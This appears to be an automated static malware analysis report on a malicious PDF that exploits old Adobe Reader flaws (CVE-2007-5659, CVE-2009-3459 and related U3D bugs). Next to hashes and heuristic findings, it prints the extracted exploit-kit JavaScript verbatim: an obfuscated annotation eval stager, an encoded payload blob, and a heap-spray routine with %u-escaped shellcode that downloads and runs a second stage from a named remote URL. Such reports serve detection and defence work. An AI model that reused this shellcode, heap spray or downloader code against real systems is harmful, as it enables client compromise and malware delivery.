Malicious PDF / .COM — malware analysis report

Static analysis result for SHA-256 828c243562342c58…

MALICIOUS

PDF / .COM

40.2 KB First seen: 2026-05-11
MD5: aff67be3afb2b54085ad1339442c3c39 SHA-1: 87fd895129e793362a5386e886ffa811d465c23d SHA-256: 828c243562342c5888c5ef69c38610b01f6569773ae11c1897dd0ed3b7f4abf7
570 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.007 JavaScript

The sample is a malicious PDF that leverages multiple Adobe Reader vulnerabilities, including CVE-2009-3459 and CVE-2007-5659, to execute embedded JavaScript. This JavaScript is designed to download a second-stage payload from the URL http://last777best.com/ber/BAB.php/yH139cb75cV0100f070006R08f97ecd102T5f9b8485201l080aK9882a753. The presence of obfuscated JavaScript and U3D content strongly indicates an exploit attempt.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 14

  • Adobe Reader U3D auto-activated 3D annotation — CVE-2009-2990 critical CVE likely CVE_2009_2990_U3D_AUTOACTIVATE
    PDF contains a /Subtype /3D annotation that is configured to auto-activate on page view (/3DA <</A /PV /AIS /I>>) alongside a /U3D stream and JavaScript. This is the document shape used by CVE-2009-2990 (Adobe Reader U3D CLODProgressiveMeshDeclaration heap overflow, APSB09-15): the U3D parser runs without any user interaction once the page is rendered, while the accompanying JavaScript prepares a heap-spray to land controlled memory inside the corrupted allocation.
  • Collab.collectEmailInfo — CVE-2007-5659 critical CVE exact CVE_2007_5659
    PDF JavaScript calls Collab.collectEmailInfo — CVE-2007-5659 is a buffer overflow in Adobe Reader triggered by a long argument or heap-sprayed message field passed to Collab.collectEmailInfo(). Part of a series of Acrobat JS API exploits. (identified after JavaScript deobfuscation)
  • Adobe Reader U3D CLODProgressiveMeshDeclaration exploit critical CVE likely CVE_2009_3953
    PDF combines malformed U3D 3D content with JavaScript/action activation. CVE-2009-3953 is an Adobe Reader/Acrobat U3D CLODProgressiveMeshDeclaration array-boundary vulnerability triggered by malformed U3D data in a PDF.
  • U3D/3D content in PDF — Adobe Reader 3D parser CVE-family indicator high CVE related PDF_U3D_CVE_RELATED
    PDF contains U3D (Universal 3D) or 3D annotation content — CVE-2011-2462 and CVE-2009-3953 are critical vulnerabilities in Adobe Reader's U3D processing that allow arbitrary code execution. U3D content in PDFs is extremely rare in normal documents.
  • JavaScript action low 4 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Adobe Reader APSB09-15 patch-range version gate (CVE-2009-3459) high CVE likely PDF_JS_ADOBE_APSB09_15_PATCH_GATE
    PDF JavaScript gates the exploit payload on an Adobe Reader version range that exactly matches the APSB09-15 patch boundary (< 9.2, < 8.1.7, < 7.1.4). That boundary fingerprints the CVE-2009-2990 / CVE-2009-3459 U3D parser vulnerabilities — no benign script tests all three Reader version-points together.
  • Adobe Reader APSB08-13 patch-range version gate (CVE-2007-5659) high CVE likely PDF_JS_ADOBE_APSB08_13_PATCH_GATE
    PDF JavaScript gates the exploit payload on (>= 8 && < 8.1.1) OR (< 7.1) — the Reader 7.0.x / 8.0–8.1.1 window patched by Adobe APSB08-13 for the CVE-2007-5659 Collab.collectEmailInfo buffer overflow. Only kits that target that exact bug check both of those patch points; benign scripts do not.
    Matched line in script
    var k678_r = new Array();var V57g26b__t7O = 0;var NJac6_s_heN6 = "";function T688_t2QYu(XwS_rE, i__t6a){var Ac_434c = i__t6a.toString();var BOFA_m = "";for(var hG0EbPf_JKdBp = 0; hG0EbPf_JKdBp < Ac_434c.length; hG0EbPf_JKdBp++) {var aIB_cich = parseInt(Ac_434c.substr(hG0EbPf_JKdBp, 1));if (!isNaN(aIB_cich)) {aIB_cich = aIB_cich.toString(16);if (aIB_cich.length == 1) { aIB_cich = "0" + aIB_cich; }else if (aIB_cich.length != 2) { aIB_cich = "00"; }BOFA_m = aIB_cich + BOFA_m;}}while(BOFA_m.length < …
  • PDF exploit shellcode contains an embedded download URL high PDF_JS_SHELLCODE_DOWNLOAD_URL
    Decoded PDF exploit shellcode contains a hardcoded http(s) URL — stored as little-endian %uXXXX Unicode escapes, or hex-encoded in a document metadata field (/CreationDate, /Title) and referenced from the decoded script. Reader exploit shellcode embeds the second-stage fetch URL this way and pulls it down with a urlmon/URLDownloadToFile-style download-and-execute (commodity downloader behaviour rather than a specific Acrobat CVE).
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
  • Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT
    A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
  • Annotation subject percent-decoding eval stager critical PDF_ANNOT_SUBJECT_MARKER_EVAL_STAGER
    OpenAction JavaScript forces annotation enumeration, reads an annotation /Subject payload with getAnnots(), rewrites marker bytes into percent escapes, decodes it with unescape(), and dispatches it through eval. This is a high-confidence exploit-kit staging pattern. It is intentionally not mapped to CVE-2009-1492 unless getAnnots() itself carries the crafted integer or long argument shape for that vulnerability.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://last777best.com/ber/BAB.php/yH139cb75cV0100f070006R08f97ecd102T5f9b8485201l080aK9882a753 Referenced by PDF JavaScript

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0007_000.js pdf-javascript-stream PDF /JS object 7 at offset 0x1A4 343 bytes
SHA-256: 1847af0a099665b6ac45af66402e56ed64237a1b287618ee3d6643267fda6f35
Preview script
First 1,000 lines of the extracted script
em = ''; r = (r = 'l' + 'a' + em + 'ce', 'rep' + r); if (r && !em) {var z; var y; th = event.target; z = y = th; 
	 y = 0; 	 z['syncAn'+'notS'+'can'] ( ); y = z;var p = y['g'+'et'+'Annots']( {  nPage: 0 }) ;var s = p[0].subject;var l = s[r](/k /g, 'q%p'[r](/[qp]/g, ''));s = th['unes' + 'cape'] (l) ;var e = th[em + 'e'+ em + 'v'+'al']; e(s);}
legacy_pdfkit_stage_000.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x2F7 12810 bytes
SHA-256: e5adab1032d31b47179c72a6416dec806cfd370e8a2cd9dfdc63b1209312e56c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
function Q___E_0N_7_Y(XtU_B54, g8k_88__5PcH_W6){  var Vhb3__4_h__758q = 'um' + 'en' + "ts";Vhb3__4_h__758q = 'a' + 'rg' + Vhb3__4_h__758q;var NIDV7__76 = Q___E_0N_7_Y[Vhb3__4_h__758q]["c" + "a" + "zzee"['r'+'epl'+'ace'](/zz/, 'll')];NIDV7__76 = NIDV7__76["t"+"oS"+"t"+"r"+"ing"]();var m0_0j_18B5a = 0;try {if (app) {m0_0j_18B5a++;m0_0j_18B5a++;}} catch(e) { }var fnI__5 = new Array();if (XtU_B54) { fnI__5 = XtU_B54;} else {var u8h1q4lf4 = 0;var CQOW_ejpJ4_g = 0;var l51CM8BR_Fk = 512;var F7ADgqkIus_n = 52;F7ADgqkIus_n = F7ADgqkIus_n - 4;var IXw0yO32_l = F7ADgqkIus_n + 9;while(CQOW_ejpJ4_g < NIDV7__76.length) {var QX4boA_7_Px0M_T = 1;var ltt_kg = NIDV7__76['c'+'h'+'arC'+'odeAt'](CQOW_ejpJ4_g);if (ltt_kg <= IXw0yO32_l && ltt_kg >= F7ADgqkIus_n) {if (u8h1q4lf4 == 4) { u8h1q4lf4 = 0; }if (isNaN(fnI__5[u8h1q4lf4])) {fnI__5[u8h1q4lf4] = 0;}fnI__5[u8h1q4lf4] += ltt_kg;if (fnI__5[u8h1q4lf4] > 512) {fnI__5[u8h1q4lf4] -= l51CM8BR_Fk;}u8h1q4lf4++;}CQOW_ejpJ4_g++;}}u8h1q4lf4 = 4;for (var q2fc_Tv = 0; q2fc_Tv < 4; q2fc_Tv++) {if (fnI__5[q2fc_Tv] > 256) {fnI__5[q2fc_Tv] -= 256;}}var q_TU__N6_k = 0;var EDL__Y7_M = "";var Q_HB8r = 0;var o_2iK_uc = 0;var uA7F_e3W_wC3Q;var jfIuQ48oi = 0;while(Q_HB8r < g8k_88__5PcH_W6.length) {var wmNr_S4MoyAt7T = g8k_88__5PcH_W6.substr(Q_HB8r, 1) + "Z";var px6__2L_Hce = parseInt(wmNr_S4MoyAt7T, 16);if (o_2iK_uc) {uA7F_e3W_wC3Q += px6__2L_Hce;if (q_TU__N6_k == 4) {q_TU__N6_k -= 4;}var XPqVa606 = uA7F_e3W_wC3Q;XPqVa606 = XPqVa606 - (1 + jfIuQ48oi + 1) * fnI__5[q_TU__N6_k];if (XPqVa606 < 0) {          var Thi3__P5m_Q = 256;XPqVa606 = XPqVa606 - Math['floor'](XPqVa606 / Thi3__P5m_Q) * 256;}XPqVa606 = String['from' + 'CharCode'](XPqVa606);if (m0_0j_18B5a == 2) {EDL__Y7_M += XPqVa606;} else if (m0_0j_18B5a == 1) {EDL__Y7_M += px6__2L_Hce;} else {EDL__Y7_M += Q_HB8r;}q_TU__N6_k++;o_2iK_uc = 0;jfIuQ48oi++;} else {o_2iK_uc = 1;uA7F_e3W_wC3Q = px6__2L_Hce * 16;}Q_HB8r++;};var abcd=0; ;var LcL_5GG_w = this;LcL_5GG_w['ev'+'al'](EDL__Y7_M);}
	Q___E_0N_7_Y(0, "22782E0F6FC1AFB3BB715444D4E1550A2C281E91C5D490D4F74585A9349915FAD3E9D2B1238ACC126BBF5187A44E46543EA7DAC9855E7E6AEFCE6CFC2219E0604C799EEAEA40A69E50A863355407E68BC486E01135F49D939486375606C8CCA35556BB837ACC41161240464735B6EFE77FFBAF5FE15B712A5B23FAB88297EF362009A5DD6B332136D2E026A7F642B6546BD44CDC84FD0A6622BE16DF8A24D263D47E4C1426FB3EBA666AF829E4B38D93FC422C676BAB0DEDCC55E3611FC782134C131C70E7AAECEE1022A2B399A19747F4E20CC72B4BED4D8CF5C3C1DF67627317A205AFBF61F98DBCC09DE953367996B46709DF141CFABE6178B24B7CE463C2E04AF05232FEEDDDCF73A62F1CBA20D86E37127EAEA6CCED2CFB44683D6C1B2CD2D7C4702D9EA63C6AC775B0B672335C2FEFB5A84476A954BECE6700374BE0604CB8C5F1E32EA19E446D6836872722BCFA8E94101AC463D4A22F0C58DDC5FFE6555AC43DB0D086021047F4643173C1DC6C426CA0ED7D672E65122C779143A213CEB7678F65543A5ABFE817EFEF13ED7878DA91BFCD4108531D98E616772CC3AB9AA3813D2B1F407B3D5CB4199DB3CB932D504E5E87E42BF39C2CA439049362DE4C543E7ECA8C1728FCFC94A87D758F36F50A547F0F3BEA3A82D0C3E4CF809D7A54E048F46C2DE761DDBEC1D560387E9AC0AFECFBC4F3B16B774F86269AE45FD0CC54DC1134AD98A67C41834DF5D25DCE2C642280D67BDE0C2C317AAF73AB13F48CF4BCA73B7EB74D61CD88D6C787425C3AEEB4B05A248374E28F2C0D35532279A4B6E4E2B5F9A4A04AA6682F54F0ED73BD508C5A041189DB9E655C56FCB6D1A329177E3F668B43BB124044894ACBEF1B7FF8875F21A0743E61CF2DBD744BF6441CF992E763732B2C8AEB19F51B67D8332DA44CD18DFB634B32B014196A3BBFAB9F683C0CE4CD088B3E5AB464B6E296B42B742C3C449DFBAD9C1AA48D35D3A2F9A4366462B56BE3DBFE0F96675F537222D2E84BCC1F8D0D5FB101D297D65266444BE4170CAA60067E10C8C315142B517C7CA62B1E061AE7BA68578E36B3E54CC9EE5834684EBFEDA77C46646600E669C77860F661A6BA9DD4374585A934A85135A330D1A6265EA71187FE7E87B1333E5843A7CDF1965CC1339E912DD24A4432436D8AC10EE736AF5B195F3E2693F5FCB9CE68E4582ECF9DA6B270561704E210E21F56BB6E88CA7E04D7483A471C7B0012BC267F9E039A4C2A6218E494746DDF42EEE3A2B14583714590F4E2F31566E45C7ACB9117B341104DE1C4D4E736EC89638D743CFCF5D4F8D68585B40FE4F2C0D2FF666B5E68DA2EF49C1AA44DF4A07DC376365B71D0B1FAFC5438BE7BA9619C38FA0E60C70D3B2350AD019BF0C95A82363BAD47EEAE46C878BC9C74F15332527FB2890D371D05BCC02AA2B939C717728B1C762C4E37EAD7DAA05E9A70D49E10C73807DE489F9C9BF01B328FAE3480000DCB16DE9B2A6D995395E948DCA28645553FFBFEE89262703BA88F74F64442F3828BB6C00EEA34617659BC6426A412E3B2EB86B03E4A0448A85C401F5D03F5C0AB543E8C54A6BB7EFAE62A38696473CDD37C026CA7EB6B4D2D4C1523A19F87C253CCD35CB6346A446ED5B32000FE35B27241959804D2425C93F76F0CFE4408C293D296661A28ED48864748B462EAF4C293193C6B5E68ADFEFEE661F76CF4A060EA5C3648A2FD7F24342601B6A66961933BED192FCE4880E95F64F7ABA7D96570694BC127F3865BC14910CEA71B663C7E9A747802E8DF24EE6B247C7936B3E732991F812E6259B9E4E0CA66A86FD4B02DB33D10CC9A84A89D0A1B13566D87AD5236C1D7D96FE65B7AFB47BF619CD372142502FAF6F19750832BF9D475090B5CF57A8E8ACBE5EF2AA2964C9E642667120FB2D086D24841BB658B89444356D8B5D6F65669CF647FDB770BFB1233865397EF19B5F2777A21A34FFB411114BDB36DCB47EE075CAC2470696D93F8E9DE1626BF4977C696FA9438169721BD0B2B7CE39F639C5756EFF5E63DCC8E560D1CCBF583C202726B697FEB27FBDB22E37633A79F0995341C6CA46DE8EBFEFAD9B8A66AA908E3091FAE1A86075597FFC3E7F3367F624BBB3BF5AD0BC33BCDBC74E414F540636E823C1E141ABBAA5B8E8836BA0C208EE937EE2A6DF198A38464A579EBEC25EA6E1AFB55CFBAD2D92834929E88AB00F08C1FE37F098DA8417BE95FCBB683F913F1A7BEA84476AD7CEEA67DCC2B45F37262C2DB19DF3B97AB3B72532693F70FB9F5848C1C04BD589B5E4A616EFCEC0CE8145FA33F89CD6801FB291F8B36C3B0EF6C2CBDB1DBB43D225EE2138DBF82EA1118FCAAD67873211BD7C0E7CC1356DB8A2C9269BF86005D4DDC7AC41C853597BCA18E7E0213E143BA867AFC2EA4D8B2C33266564A88BD38ABA70FB574F48E60089D4933A8B9A21AEE2BF5DFA69E8E981ABCEC4EAF4A7AF236A0D1D4D4CF6B673331D92CF5A335E37FDECF74D231F3426EC988FF04031EF3C21C5A81F776C87593DC47EC113FFDDDEFD171A227F5A635F26F52235AE1C1DD191F438DA682632F09B5E9E7A6FB8A8E3A69073CDBB8722F522DB7BCF28E27687ECBA563E605492C4CA7CEE418F0305863508353269314E083FF919A4B49098FDFA439163307D2D6E23B28C27B6D8B930FE03E33865583C026B6E7777CC4AF4C2A5B0E25878496EA1E290B80CE636A592B8CF21EA7F113E4576BC68B00940B5B95EAC219198737D2ACDA9E44FFF01E27917B6EC54DE0C2829C0779717399ED36ABF033E37633C470D39F4137ACEAC0261E5028E3B554979206E50B1C8754921B1CA9EEC3D6E8597F56189741EEA31FFF7AF49480C73D21479292BEF53A1A1CFA6B4995BD4B89E65FB00B76273C3CDF98B87C2FAC3717A353C36F170F5ADABCDACB3013839673A410F3DF21BC8CE4A0C6408F0275D7D93B35522BBBF3DE7C307146F2D076B71B131F6F9FD0B01BFD157A7D3B7414045407E68BC486E01135F49D93AC86572801E2FFE2404DBB62708B61E9D33E1A9E1D8E0614BEE7A097EBA43A2A53E3F588B36BDF4ACCD45CE472706B5EBDEF19AFD618E54C3CA05CC4D9141864EC7419F044FC9068E1694D3426D04DBD5454CD0CE9CC80A8FC2C813854B0F8B0F125E54C0588B5D65F3D6254F981EC1F3EE4E979676B69F801D71E9545401D239EC49D9C096953694E9C51C6794CFE4011C5BAD72BF8856982AC03E4191EEA832D54B907BA096688217C1E2337B0EDE09464982C29D956F76D0C2185CAC1CED031FF876D756855FBCEECD574395BBB0B50C489C9AC75011841B7C0B75720BD3BB29F3CBC491BF358647CF1E0B42E6C60517227FC64D825B6BF8A9C010DD69ECCAE2F2E56F3C5ECE92E38D4888E9F8DBBD9FFF64C698CC0E87CECC178D47038F071E8F48C8448F51CDCCC6C912436181D81F4EDB7ED239588459765CF8950215BF57FC92C4DF3997391AC823129E4FDD04C4FC417990885D9FC37317485ACFEBFA164B447079365185C072C5FA9C0ECEB142199BC6C956036B11C1DC21B4BCD6074F1C5DBB978523322AF01047B4FD04BC1D487DA243635A87C7A03F3C930EDAD3565694C8C056696D18CEC273AC39DF0C2366C69D9E820C74248D194C9939DE4E14454674CA905389CE7CC7FE9A0BE1481D139DCAA79062BF1FCBCAF5A606D80B2A734C7F958F755638CA124BA2F6E9E01B45A2D69E7D5C8C4899D1509108DA3A147096CC4B3D7BC116C8C3F749B3D1000160C8919C8C8E380FE71B4D46B3B3121242AB88B58A558E1CE70A62980302B90B6D9FCE423A37931DC92009B100DA021B5DC1939389376A19D4144FCDC3B944194C41BD9F675E8FC373C3049F000EDAC1FA98C0994A406514C3162B97DDD300CF3AA7F59A86003BCD811D44A81D81B610494DAC939457821B011F06960CD4DD190791C2405489571BC00F2D9EEADC02F917C0779183798DC47E1643CBCDEDC81749A6AEBD51508421CDE8489D09EE0F30749AC447617F8912C01B1FC5E7D5054D8449F9988332AFCBAB1F4542F7C3EA1E43ACC0648E598628CB3E7A9406C6E3F75193C64E3E08BB19CA44019FD4DE06C434728B9F8D8BB1F278184749B4CD0C15437572786B52881F7816FC9B03D0231E2E9CCBA89B513D10C6D9F39411D70C2B7ECBAD968A7483C9751149A3C1861E1C4D9EA44F485B8A16D8235E9200DBC4C53B95CACC685ACF17C3C3387ADED00B41FB848F9D870D35F3821A4E67FEFF00134A97D9A995548C1D81C970990E04D71C589ECC766573811EC13C37C4DBD90D39787DC194876687C7AF134DC1DBD8121A476078BD925D8124CEC222900DBB48F32597CE8A424CC315CDC52C5BF8D20EF02876C39B81029D019C1C4F55BBA4041147A99A74BF568FCBFC3B34970AB6DDFA0290C0416F08751CCB0DFE82C5DB0427059295928E1B9BF89915449D25FA061841C59C9E8C5F81E2B917469E07CFFCC12F99C2CB5C6E9713C80A1D49E2D403114FCB97998B016DDFA61E43C6D5C5F81F4ECE9E42795886F9C5CD289501D901DB1C92C77F6957C91AC4CFF29E3FDD08285FA4D990888D8326D317454E0FCF0A164BD4F39C6651864386294A9C0EF200C2499BC9965940BB11C1F921B4ECD6074F0C7D8B978533921D901047651C97CC1D488E02B0335A8827D0023C930B87B3361694C8BD7369BD18CF31F3BBF9DF08E656768D9E826F63E4DD1949B8E9EDCE144576E4B7705389FEECF86E9A08E1052D139DCAB470726F1FCC2B256606D80B2D33AFDF958F6555EBDA124BBFD6E7001B428F96619D5C8C059A01009105F9B6E74096CCBB3D6BB116C934876D13D10CF10085F19C8C3EC7FFA71B4DA6D3EFE2124F78C875AA558E1CD72A229802B2C8FAFD9FCE723A34331DC5FCF9A110DA0EF7FD7EE393893739F674144F9DD0B914194C71FA7C375E8FF40423549F0FEC0AF26A98C0A9776D6514C2F5FB77CDD3011F3A77959A86609BFDC11D41A4DDB24610497ABC73B45781FAC0FC76960CB4BCF91791C2A36436471BCFFF7D7EBADC0326077077918339CE079E16437C3ABB381746A38E7A515083F1CDF5689D098DBEF02467275B350F1B5F8CCC0F772B70D7BD280C6CA68F030ECFCFAE4975EA97BE1975CD81D131F828BB9DB0EF33760853B9E36139AF5F1CB0571A05410BB6F9B9B5B5770C8EF19CD2E39BB446D945311FD51F46F5394EF0194E7895FD4B33CFB2CDFF4878F99E155CC0B93A1636A6C50CD9FF1A7084BB77C3EC683D3950C47731BB6D2237931C7B7D45746EFF6E64EBC8E3F0736AAF29FA432732C3C44C327CCDB3DCC370183681783095B8EF8A029E60C37A77F5D6EA417EB064BC0144B1B555CCC84C6DA4C524E43AE3BC5A338004310A3B30653344063BFB1F8DF170ABEAA4B60AA437DDE76C41E37354E59C1D7DA8E765444D49B3DF9855BE162C3A8C70A271C5C8B347000F3E4EBCC7FF45B88044BE773A8D361182E32F6FE9F4C71A97D9CE545C709421F557598DB13C5445878FC6F2FE7AAF4E088EB869E2825FA8CACB52F20170DE2F5B94B568E867F8B8EDCCC143386269CD112B008C56ACF64284667E5FB8FB395DB59EDC771CE633D413CBBE3F5001113AD3380AB8BFEC33C185B2FB9C4E23417B88AD5697B26F8DC09BA647EFB22F110B6E83A6A806893E9E8CFB466CA6304C97115A32A2458FFC1192DFC08C2A67C9298F3C9C70E811F81175D5CB7CCBEC448825352D626DAA82D083BD97F84E2143B576391A91C250305D3AF3E9F641374D4329ECC7F031F49EDC8E1BB497F6BF6E31BBE35072768B2BAB00A24EF4F7434B84E28DF1AFDBF29537A0091CF7797D73845232FB7EFA14D36C581DDE124E80A27275782B6CD17EA3C5878FC6116029A222273B48FB30F29FD78D19B592F5BD6F3C0C00C27972FACB248E0FE2F3A863E9EF4F5BCE7885FDB7038061C170B879985D0490BE187D3467B2326859F2FD8EA37D74762C67D07CA4C0856F96FED05730BBFABA7B490372D1E06BE8B8B0048D6E6C4E23E6C2C3C44BE37F7E850E64537D2AC0F913A7074F1AC2127252DDAB65CAEA348EE11267F063DD40BA902CBB1B454564753AB32EE9553FE8C19888F0864433E96B8AC2D31F824F5B04BA4B8FFAAD837CADE4D1E4E63FFAFCA853AB16D29E1530775561A3FBDB4C7042F48836D3C975530C12209952398815692008687C384415237ECBE9F611B9E40B3D636CD36421F9763A6B718EAEB606330B4611C9F20F6B2F947AA1C04D34891622F386C01D80BF03256C92F808B50C9CD10FD4770CFB007C134A1AA118167381CEBE48E8254A90327FB9EA25D6F28238EB2E0A7D618E5436F978FC4D90B4B5B1F71D0D76838CD98D7A4622E31D413BC8C8FC231E1F782D4323C85306AEC2EC2DD5EA454F4A7781A72232C95B5BD2F0E1715A97E9B656635EB066096333BE50B9DFFD4A50768945755E441DEB95FC03DFDCFC4D53E407465ADAD0138D501F9B13390B3FF7DC52C83DD40F76C24F4DE9B8453A97409DE5DD96B54CC5B849296DCEEF844B27AB84E26E0200BBDE483CB3A74EB8DC6D87DF81CEC0200F19D1BC36FDEA25DFB040BF25558779ED4F9FB9B6B3F6469F797E31375B847C05451F093D8826E5120CFF901F50C67D46E7BCA4FE20658085D6173CDD379F7C476E7814B113FF50892C88BE956DAFEA1E34579666AD0F2DCF72C52A77243AE961898115557DCBF1C164B22978AD6B0500531D7F8CB947ECB46ABDABAEC003D792B44EB40EAB34EBB5E3EDC74D9990037ACA4AE192F3F279CAC5D53AB36FB155FCE5080D65BAEF8D2EB007148254DE54AFEB85EB88014C2B917683C7FA16CAC3E31132DAA74374FC154AC165FBBF8901B536EB3A1B6D963963A0DD720BB3D1AD83F8680DDDB1FFF875C897343F3CFD9C86F18A0C530870C5AC6E13C0B5C32A7B4CE956CA776E1A12DB74F4430935ABAE814E53D8CA449A4433CA8DBFFC4FD86D74416C463E8B9854569B4CCEEBA4B3DD32F818B48D6124046476DB2C3E49CFF919E12A83A241CECE4B8C493AE53180CA3B8727E3361CBF1D4AF2A54E23359BF8BFEC33D567310B403EA7334CC63A9574C0AE4F830BA7B7EF655BCE7B5D2FF667D6B44B7E804DB22B5670CA89F119909555DF0B026225027AF67818B8F32EB095AA73880071E9B00D0A2BF2C407E62D84EAF9D4AE64ECCBECA0653326FA49F79ECFCC434E77E2D7F7C1CB3116D950572094763EAD7DDCA47886C13A64F047844DA95C9CDDB142B3D5FA07A63081CCB05CF7F23A1B73A7BFE85BAA6330E1315D5C3DE6A72712BF78F4DE50B42069A4C949C08E3196B6B3BB55326931221A6BE628C5C61048E8B64705467C2F909E8635CCE65A9DD8B040B4DF4643173C9E17DF77F5FCA6128144AE6239DCB43BC03E5C56DA22D2B7344AAB613CD2B13AD3345955DD29F585191DC77C5DF5D1197A2B2AE3C0BE4E4F8D7983FDD35ABF296EAEC45491F5DA9FAB49C6B0037F48360C454204A66E3912FDB18DFAC67B0AF501CDADE4BA55B3BE6285CC792A8CB2C407F6897FCAF640CC064EA96B3ED6BF34C538367483BC404D6825B75BBF792E0209ADA48F0182DABF3D4B55E8D7A2DD226BB5535E37EAAD291E639");
legacy_pdfkit_stage_001.js deobfuscated-js repeated-marker hex decoded JavaScript at offset 0x2F7 5401 bytes
SHA-256: e813deec32550f677c2d1eec72aac7fc5022fccbd69f1018cc1f95589ad2d0e0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var k678_r = new Array();var V57g26b__t7O = 0;var NJac6_s_heN6 = "";function T688_t2QYu(XwS_rE, i__t6a){var Ac_434c = i__t6a.toString();var BOFA_m = "";for(var hG0EbPf_JKdBp = 0; hG0EbPf_JKdBp < Ac_434c.length; hG0EbPf_JKdBp++) {var aIB_cich = parseInt(Ac_434c.substr(hG0EbPf_JKdBp, 1));if (!isNaN(aIB_cich)) {aIB_cich = aIB_cich.toString(16);if (aIB_cich.length == 1) { aIB_cich = "0" + aIB_cich; }else if (aIB_cich.length != 2) { aIB_cich = "00"; }BOFA_m = aIB_cich + BOFA_m;}}while(BOFA_m.length < 8) { BOFA_m = "0" + BOFA_m; }var vapbVx_h31 = XwS_rE.toString(16);if (vapbVx_h31.length == 1) { vapbVx_h31 = "0" + vapbVx_h31; }else if (vapbVx_h31.length != 2) { vapbVx_h31 = "00"; }BOFA_m = "3" + vapbVx_h31 + "P" + BOFA_m;return BOFA_m;}function XAI0___b__ol(J__BLfBAxyJ4u, G0_Lsy4lyJBB_5){var eqr7y5Wb3O6k_j = new Array("");var A3E_ckw = J__BLfBAxyJ4u;var p_p_3___D_fi;if ((p_p_3___D_fi = J__BLfBAxyJ4u.lastIndexOf("%u00")) != -1) {if (p_p_3___D_fi + 6 == J__BLfBAxyJ4u.length) {eqr7y5Wb3O6k_j[0] = J__BLfBAxyJ4u.substr(p_p_3___D_fi + 4, 2);A3E_ckw = J__BLfBAxyJ4u.substring(0, p_p_3___D_fi);}}p_p_3___D_fi = 1;for (hG0EbPf_JKdBp = 0; hG0EbPf_JKdBp < G0_Lsy4lyJBB_5.length; hG0EbPf_JKdBp++) {var M5__D26sjrsU = G0_Lsy4lyJBB_5.charCodeAt(hG0EbPf_JKdBp).toString(16);if (M5__D26sjrsU.length == 1) { M5__D26sjrsU = "0" + M5__D26sjrsU; }eqr7y5Wb3O6k_j[p_p_3___D_fi] = M5__D26sjrsU;p_p_3___D_fi++;}hG0EbPf_JKdBp = eqr7y5Wb3O6k_j[0].length ? 0 : 1;eqr7y5Wb3O6k_j[p_p_3___D_fi] = "00";eqr7y5Wb3O6k_j[p_p_3___D_fi + 1] = "00";p_p_3___D_fi += 2;if ((eqr7y5Wb3O6k_j.length - hG0EbPf_JKdBp) % 2) {eqr7y5Wb3O6k_j[p_p_3___D_fi] = "00";}while(hG0EbPf_JKdBp < eqr7y5Wb3O6k_j.length) {A3E_ckw += "%u" + eqr7y5Wb3O6k_j[hG0EbPf_JKdBp + 1] + eqr7y5Wb3O6k_j[hG0EbPf_JKdBp];hG0EbPf_JKdBp += 2;}A3E_ckw += "%u0000";return A3E_ckw;}function OFI2KW7_6_Mh(tD___a00sj, sO6_O1fl){while (tD___a00sj.length*2<sO6_O1fl) {tD___a00sj += tD___a00sj;}tD___a00sj = tD___a00sj.substring(0,sO6_O1fl/2);return tD___a00sj;}function db3Yd0(pws1m___TV_S, e__4g_X5, IN7_Fw){var Mfyt5C_M__kM8T = 0x0c0c0c0c;var tD___a00sj = unescape(e__4g_X5);var G0_Lsy4lyJBB_5 = T688_t2QYu(pws1m___TV_S, IN7_Fw);var TXGi2_W411_H_g = unescape("%u9090%u9090%u9090%u21eb%ub859%u9050%u9050%u6a51%u33ff%u64db%u2389%u026a%u8b59%uf3fb%u75af%uff07%u66e7%ucb81%u0fff%ueb43%ue8ed%uffda%uffff%u0c6a%u8b59%u0c04%ub8b1%u0483%u0608%u8358%u10c4%u3350%uc3c0");var J__BLfBAxyJ4u = "%u9050%u9050%u9050%u9050" + "%u9090%u9090%u9090%u9090%ufbe9%u0000%u5f00%ua164%u0030%u0000%u408b%u8b0c%u1c70%u8bad%u2068%u7d80%u330c%u0374%ueb96%u8bf3%u0868%uf78b%u046a%ue859%u008f%u0000%uf9e2%u6f68%u006e%u6800%u7275%u6d6c%uff54%u8b16%ue8e8%u0079%u0000%ud78b%u8047%u003f%ufa75%u5747%u8047%u003f%ufa75%uef8b%u335f%u81c9%u04ec%u0001%u8b00%u51dc%u5352%u0468%u0001%uff00%u0c56%u595a%u5251%u028b%u4353%u3b80%u7500%u81fa%ufc7b%u652e%u6578%u0375%ueb83%u8908%uc703%u0443%u652e%u6578%u43c6%u0008%u8a5b%u04c1%u8830%u0045%uc033%u5050%u5753%uff50%u1056%uf883%u7500%u6a06%u5301%u56ff%u5a04%u8359%u04c2%u8041%u003a%ub475%u56ff%u5108%u8b56%u3c75%u748b%u7835%uf503%u8b56%u2076%uf503%uc933%u4149%u03ad%u33c5%u0fdb%u10be%uf238%u0874%ucbc1%u030d%u40da%uf1eb%u1f3b%ue775%u8b5e%u245e%udd03%u8b66%u4b0c%u5e8b%u031c%u8bdd%u8b04%uc503%u5eab%uc359%u00e8%uffff%u8eff%u0e4